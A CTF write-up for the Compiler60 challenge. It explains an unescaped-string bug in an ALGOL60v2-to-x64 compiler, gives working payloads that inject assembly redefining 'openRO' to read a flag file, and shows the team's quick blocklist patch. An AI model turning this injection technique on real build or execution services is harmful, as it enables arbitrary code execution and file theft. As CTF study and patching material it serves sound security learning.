# Compiler60
## ObservationsThe service takes ALGOL60v2 code, compiles it and runs it. In the compile step, the code is parsed to an AST and this AST is used to generate x64 assembly. This assembly is then assembled and linked to a binary, which gets signed and returned to the user. In the execution step, the server expects a signed binary. If the signature is valid, the binary is executed in a sandboxed environment.
When converting the AST to assembly instructions, string literals are not escaped correctly. The ALGOL60v2 code```s := "\\".textmov rax, 1337#\\"";```will result in the assembly code```.asciz "\\".textmov rax, 1337/*\\""```
As demonstrated, it is possible to escape a string literal context and inject (almost) arbitrary assembly code. This can be used to control the behaviour of the resulting binary.
## ExploitationIn order to get a flag, we need to read a file from a given file path. The path is `/data/<id>`, where `<id>` comes from `teams.json`. The existing functions for opening files do not allow this, so we will redefine one of them:
```s := "\\".textopenRO:    mov eax, 0x2    mov esi, 0x0    mov edx, 0x1a4    syscall    ret#\\"";```
The new `openRO` function will call the `open` syscall with a file path and the `O_RDONLY` flag and the `rw-r--r--` mode. We can then call this method and read the flag from the resulting file descriptor. The final payload is the following:
```'BEGIN'    outstring(readstring(openRO("/data/4ab7531eb043cc4b607a311c2040f7d4bf5d6321\x00\\".textopenRO:    mov eax, 0x2    mov esi, 0x0    mov edx, 0x1a4    syscall    ret#\\"")));'END'```
During the CTF we used a more verbose version:
```'BEGIN'    'STRING' s[1000];    'INTEGER' fd;    'STRING' buf[128];    s := "/data/4ab7531eb043cc4b607a311c2040f7d4bf5d6321\x00\\".textopenRO:    mov eax, 0x2    mov esi, 0x0    mov edx, 0x1a4    syscall    ret/*\\"";    fd := openRO(s);    buf := readstring(fd);    outstring(buf);'END'```
## PatchThe best patch would have been to correct the AST parsing, but it is a CTF challenge and we were lazy, so we just blocked `\\"`. Since that broke one of the examples, we allowed `\\\"`. This was the patch:
```diffdiff --git a/main/java/de/faust/compiler60/CompilerServer.java b/main/java/de/faust/compiler60/CompilerServer.javaindex ab7f9a0..06fe1cb 100644--- a/main/java/de/faust/compiler60/CompilerServer.java+++ b/main/java/de/faust/compiler60/CompilerServer.java@@ -46,6 +46,13 @@ public class CompilerServer {               .decode(ByteBuffer.wrap(reqBody))               .toString(); +      if (sourceCode.contains("\\\\\"") && !sourceCode.contains("\\\\\\\"")) {+        System.out.println("Blocked exploit attempt ---------");+        System.out.println(sourceCode);+        System.out.println("---------------------------------");+        sourceCode = "";+      }+       byte[] binary = new Algol60Compiler(sourceCode).compile();        SignedElf signedElf = new SignedElf(binary);```